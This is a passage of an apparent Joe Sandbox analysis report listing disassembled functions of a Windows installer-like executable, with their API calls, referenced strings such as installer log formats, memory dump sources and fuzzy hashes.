Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

%02x%c, xrefs: 0040629C
..., xrefs: 004062BF

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424179,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
